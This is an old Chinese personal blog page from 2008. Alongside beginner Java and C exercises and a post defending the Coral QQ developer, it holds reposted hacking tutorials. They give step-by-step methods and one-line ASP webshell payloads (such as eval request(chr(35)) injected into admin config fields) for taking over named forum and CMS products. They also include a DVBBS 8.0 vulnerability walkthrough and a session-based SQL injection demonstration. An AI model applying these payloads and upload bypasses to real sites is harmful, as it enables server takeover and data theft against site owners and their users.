无分页记录

您可以按 列表 | 普通 浏览

川话8级考试

[ 2008-4-21 18:57:34 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]

川话8级考试

分类:默认分类 | 部落: | 评论:0 | 阅读全文(64)

春熙路事件真相

[ 2008-4-21 18:56:59 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]

春熙路事件真相

分类:默认分类 | 部落: | 评论:0 | 阅读全文(74)

QQ的事

[ 2008-4-21 18:56:30 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]




最近在网上看到了这个新闻,我的感觉就是像 自己被冤枉可一样,有想哭的感觉.
英雄命短啊!TENCENT整个就是一无耻的家伙!老子现在都不用QQ了,我觉得再QQ真的就有一点丢人了,我现在都用珊瑚虫的.
我严重支持珊瑚虫作者陈寿福!!!!!!!!!


我坚信陈寿福是无罪的!※法律上:
1、陈寿福开发珊瑚虫QQ腾讯是许可和支持的(证据连接),故无犯罪故意。
2、陈寿福的收入是来源于珊瑚虫增强包,不属于非法所得。
3、刑法罪刑法定,疑罪从无。犯罪要件不成立,或者有争议,即不能判定为刑事犯罪。
以上观点出自知识产权法和刑法界权威专家出具的法律意见书,该意见书已经送达法院。
 ※道德上:
1、陈寿福坚持7年开发珊瑚虫,2000到2006年前无任何收入,初衷是为了增强QQ功能,方便用户使用,同时为腾讯赢得和留住用户几千万,无功劳也有苦劳!
2、2006年12月前,腾讯是支持珊瑚虫发展的,这是为了增加自己的用户,对抗MSN等竞争对手。之后突然翻脸欲置陈寿福于死地,是因为道听途说某IT大鳄要收购珊瑚虫,忌惮珊瑚虫的威胁。请参看《商业垄断还是技术创新——法律该为谁服务》
3、腾讯利用自身资源力量,通过刑事手段,欲置陈寿福于死地,天理不容
更多请访问:http://www.helpsoff.com.cn/index.php

分类:默认分类 | 部落: | 评论:0 | 阅读全文(64)

转的

[ 2008-4-21 18:55:28 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]

一、直接上传获得webshell

  这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文 件url应该是http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。

  二、添加修改上传类型

  现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!

  三、利用后台管理功能写入webshell

  上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell。

  四、利用后台管理向配置文件写webshell

  利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker@263.net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//",还有一种方法就是写上 cnhacker@263.net"%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><%execute request("l")%><%',保 存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获得webshell

  主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。


  六、利用数据库压

分类:默认分类 | 部落: | 评论:0 | 阅读全文(64)

还是漏洞

[ 2008-4-21 18:54:51 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]

『博客--琳琅小站-blog.LinLang.org
首页博客首页个人情感网络安全学习笔记资源下载生活杂谈琳琅相册关于友情连接留言本上一篇 | 下一篇 网络安全

晕,DVBBS8.0真的有跨站漏洞作者:admin 日期:2008-04-04字体大小: 小 中 大 这篇文章为转载,我一直还认为动网最新发布的BBS系统,应该很安全的.
这不你看我做的班级论坛就用dvbbs8.0,结果天天被人测试,搞得我晕头转向的.没得法只好关了哦.

<a target="_blank" rel="nofollow" href="http://gao200810.cn">http://gao200810.cn</a>

前一段时间,樱花浪子发现了DVBBS8.0的自定义头像跨站点,看了他的文章后令我对DVBBS8有了一些兴趣,所以就下了套来看,谁知,真的被我看出了点问题了。好了,现在我们来分析下漏洞的成因。

我们看看IndivGroup_List.asp文件的部分漏洞代码:

....省略部分代码....
Sub saveappgroup()
Dim UserID,UserName,GroupName,GroupInfo,GroupSetting,viewflag
....省略部分代码....
GroupName = Dvbbs.CheckStr(Request("GroupName"))
GroupInfo = Dvbbs.CheckStr(Request("GroupInfo"))
....省略部分代码....
If GroupName="" Then
errflag = errflag & "$圈子名称没有填写"
End if
....省略部分代码....
If errflag<>"" Then
errflag = split(errflag,"$")
Response.write "parent.information('错误:\n"
For i=1 To UBound(errflag)
Response.write "1、"&errflag(i)&"\n"
Next
Response.write "');"
Else
Set Rs=Dv_IndivGroup_MainClass.Execute("Select GroupName,AppUserName From Dv_GroupName Where AppUserName='"&UserName&"' or GroupName='"&GroupName&"'")
If Not Rs.Eof Then
If UserName=Rs(1) Then
Response.write "parent.information('你已经申请过圈子了,一个用户只能申请一个圈子。');"
Else
Response.write "parent.information('圈子名称已经有人申请,请重新填写。');"
End If
Else
Rs.Close
If Dvbbs.forum_setting(102)=0 Then
Dv_IndivGroup_MainClass.Execute("Insert Into Dv_GroupName(GroupName,GroupInfo,AppUserID,AppUserName,UserNum,Stats,LimitUser,AppDate,PassDate,Locked,viewflag) Values('"&GroupName&"','"&GroupInfo&"','"&UserID&"','"&UserName&"',1,1,"&Dvbbs.GroupSetting(74)&","&SqlNowString&","&SqlNowString&","&GroupSetting&","&viewflag&")")
Response.write "parent.information('申请信息已经保存,请等待管理员通过');"
....省略部分代码....

看倒了么?在saveappgroup过程中Groupname和GroupInfo两个变量经过Dvbbs.CheckStr过滤之后再赋值,那么,现在我们来看看Dvbbs.CheckStr这个函数是怎么写的,代码如下:

....省略部分代码....
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
CheckStr = Replace(Str,"'","''")
....省略部分代码....

分类:默认分类 | 部落: | 评论:0 | 阅读全文(75)

漏洞

[ 2008-4-21 18:54:03 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]

——思路源于“流转”
首先说明,本文不是讲session欺骗方法或原理。
1年前流转跟我说他有一个想法,就是session注入,当时我认为有点不可能,因为session很少进库的,就算进库了,也注射不了,就算能注射,也不能回显,对access没什么用处。后来看“寂寞的刺猬”大哥写的一篇漏洞分析文章的时候无意中发现他截取的代码里有session进库了,所以昨晚无聊,就test了起来。
我们首先可以来证明一下session是否能注入,来看kevin's blog的setting.asp文件的一段代码(kevin大家不要打我哦=):
....省略....

Copy code
<%
if session("Admin")<>"ok" then
response.redirect("index.asp")
end if
if request.Form("passwd")<>"" and request.Form("passwd1")<>"" and request.Form("passwd2")<>"" then
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
if oldpass<>request.Form("passwd") then
response.write "第一次验证失败<br>"
else
if request.Form("passwd1")<>request.Form("passwd2") then
response.write "两次输入不同<br>"
else
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
end if
end if
end if
%>

....省略....
这个是修改管理员密码的文件,但是请大家注意这一句“sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"”,看到了吧session居然进库了,出于测试的目的,我们把它的代码改一下,去掉管理员认证。代码如下:
....省略....

Copy code
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>

....省略....
我把它保存为1.asp,现在我们来构造一个2.asp,代码如下:

Copy code
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>

这里要注意一下,kevin's blog的管理员名为Huanhuan,密码为123456。OK,我们先打开这个2.asp文件,然后再打开1.asp,其他的地方不用输入,只要在“新管理密码”里输入新的密码就行,我们来输入1234,然后点提交,如图1。


修改失败,呵呵,我们把2.asp的代码改为如下:

Copy code
<%
session("user")="Huanhuan'and 1=1 and '1'='1"
%>

再修改下密码,怎么样,修改成功了

分类:默认分类 | 部落: | 评论:0 | 阅读全文(60)

java2

[ 2008-4-21 18:47:49 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]

package qiushuaidexiangmu;

/**
* <p>Title: </p>
*
* <p>Description: </p>
*
* <p>Copyright: Copyright (c) 2008</p>
*
* <p>Company: </p>
*
* @author not attributable
* @version 1.0
*/


abstract class Animal
{

public static final int ONE = 1;

public static final int TWO = 2;

protected boolean mammal = true;

protected boolean carnivorous = true;

protected int mood = TWO;

public boolean isMammal()

{

return(mammal);

}

public boolean isCarnivorous()

{

return(carnivorous);

}

abstract public String sayHello();

abstract public String sayHello(int moodval);

public void setMood(int newValue)

{

mood = newValue;

}

public int getMood()

{

return(mood);

}

}

interface LandAnimal
{

public int getNumberOfLegs();

}

interface WaterAnimal
{

public boolean getGillFlag();

public boolean getLaysEggs();

}

class Dog extends Animal implements LandAnimal

{

private int numberOfLegs = 4;

public Dog()

{

mammal = true;

carnivorous = true;

}

public String sayHello()

{

return("摇摇尾巴");

}

public String sayHello(int moodval)

{

this.setMood(moodval);

switch (mood) {

case 1:

return("呜呜叫");

case 2:

return("旺旺旺叫");

}

return("摇摇尾巴");

}

public int getNumberOfLegs()

{

return(numberOfLegs);

}

}
class Cat extends Animal implements LandAnimal
{

private int numberOfLegs = 4;

private boolean tailFlag = true;

public Cat()

{

mammal = true;

carnivorous = true;

}

public String sayHello()

{

return("喵喵叫");

}

public String sayHello(int moodval)

{

this.setMood(moodval);

switch (mood) {

case 1:

return("嘶嘶叫");

case 2:

分类:默认分类 | 部落: | 评论:0 | 阅读全文(60)

java

[ 2008-4-21 18:47:31 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]

package qiushuaidexiangmu;

/**
* <p>Title: </p>
*
* <p>Description: </p>
*
* <p>Copyright: Copyright (c) 2008</p>
*
* <p>Company: </p>
*
* @author not attributable
* @version 1.0
*/


abstract class Animal
{

public static final int ONE = 1;

public static final int TWO = 2;

protected boolean mammal = true;

protected boolean carnivorous = true;

protected int mood = TWO;

public boolean isMammal()

{

return(mammal);

}

public boolean isCarnivorous()

{

return(carnivorous);

}

abstract public String sayHello();

abstract public String sayHello(int moodval);

public void setMood(int newValue)

{

mood = newValue;

}

public int getMood()

{

return(mood);

}

}

interface LandAnimal
{

public int getNumberOfLegs();

}

interface WaterAnimal
{

public boolean getGillFlag();

public boolean getLaysEggs();

}

class Dog extends Animal implements LandAnimal

{

private int numberOfLegs = 4;

public Dog()

{

mammal = true;

carnivorous = true;

}

public String sayHello()

{

return("摇摇尾巴");

}

public String sayHello(int moodval)

{

this.setMood(moodval);

switch (mood) {

case 1:

return("呜呜叫");

case 2:

return("旺旺旺叫");

}

return("摇摇尾巴");

}

public int getNumberOfLegs()

{

return(numberOfLegs);

}

}
class Cat extends Animal implements LandAnimal
{

private int numberOfLegs = 4;

private boolean tailFlag = true;

public Cat()

{

mammal = true;

carnivorous = true;

}

public String sayHello()

{

return("喵喵叫");

}

public String sayHello(int moodval)

{

this.setMood(moodval);

switch (mood) {

case 1:

return("嘶嘶叫");

case 2:

分类:默认分类 | 部落: | 评论:0 | 阅读全文(68)

C

[ 2008-4-21 18:46:29 | 作者:18671112011邱帅 | 出处:原创 | 天气:晴 ]


#include<stdio.h>

struct students
{
int num;//学号
char name[20];//姓名
float score[3];//成绩
float avr;//平均成绩
}stu[50];//学员信息结构数组

int shuru(struct students *);
void sort(struct students * ,int);//排序函数
void del(struct students * , int ,int);//删除函数
void display(struct students * , int);//输出函数

void main()
{
struct students *stu1;
char ch;
int n;
int number;//要删除的学号
stu1 = stu;

printf("学生成绩管理系统\n");
printf("\n\n请输入学员信息\n");

n = shuru(stu);
printf("\n排序前的学员信息如下:");
display(stu , n);
printf("\n排序后的学员信息如下:");
sort(stu,n);
display(stu , n);

printf("\n\n是否要插入信息<y/n?>");//选择是否插入信息
fflush(stdin);
ch = getchar();
if (ch == 'y' || ch == 'Y')
{

printf("\n请输入要插入的学号:");

scanf("%d", &amp;stu[n].num);

printf("\n姓名:");

fflush(stdin);

gets(stu[n].name);

printf("\n三门成绩:\n\n成绩1:");

scanf("%f", &amp;stu[n].score[0]);

printf("\n成绩2:");

scanf("%f", &amp;stu[n].score[1]);

printf("\n成绩3:");

scanf("%f", &amp;stu[n].score[2]);

stu[n].avr = (stu[n].score[0] + stu[n].score[1] + stu[n].score[2]) / 3;

n++;

}
sort(stu,n);
printf("\n插入新学员后的学员信息如下:");
display(stu , n);

printf("\n\n是否要删除信息<y or n?>");//选择是否删除信息
fflush(stdin);
scanf("%c", &ch);
if (ch == 'y'|| ch == 'Y')
{

printf("\n请输入要删除的学员的学号:");

scanf("%d", &amp;number);

del(stu , n , number);

n--;

}
printf("\n删除后学员的信息如下:");
display(stu , n);

}

int shuru(struct students stu[])
{
int i = 0;
char ch = 'y' ;
while (i < 50 && (ch == 'y' || ch == 'Y'))
{

printf("学号:");

scanf("%d", &amp;stu[i].num);//接收学号

printf("\n姓名:");

fflush(stdin);

gets(stu[i].name);//接收姓名

printf("\n成绩1:");

scanf("%f", &amp;stu[i].score[0]);//接收成绩1

printf("\n成绩2:");

scanf("%f", &amp;stu[i].score[1]);//接收成绩2

printf("\n成绩3:");

scanf("%f", &amp;stu[i].score[2]);//接收成绩3

stu[i].avr = (stu[i].score[0] + stu[i].score[1] + stu[i].score[2]) / 3;//计算平均成绩

i++;

printf("\n是否继续?&lt;y/n&gt;");

fflush(stdin);

ch = getchar();

分类:默认分类 | 部落: | 评论:0 | 阅读全文(71)

无分页记录

您可以按 列表 | 普通 浏览

导航

归档

日历

我的简历

  • 姓名:18671112011邱帅
  • 性别:男
  • 注册日期:
  • Email:qiushuai@qq.com
  • 城市:成都
  • 发消息给我

公告

欢迎光临我的博客!

部落

最新回复

  • 没有任何评论

联接

统计

  • 访问人数:2218 人
  • 创建时间:2007-12-13
  • 发表文章:9 篇
  • 上传相片:0 张
  • 回复总数:0 篇
  • 阅读总数:600 次
  • RSS订阅
  • mozilla firefox:支持WEB标准的最佳浏览器
  • 程序开发商:慈溪都市博客
  • 理论上本站符合XHTML标准,但由于用户输入日志的不确定性,可能会有几个错误通不过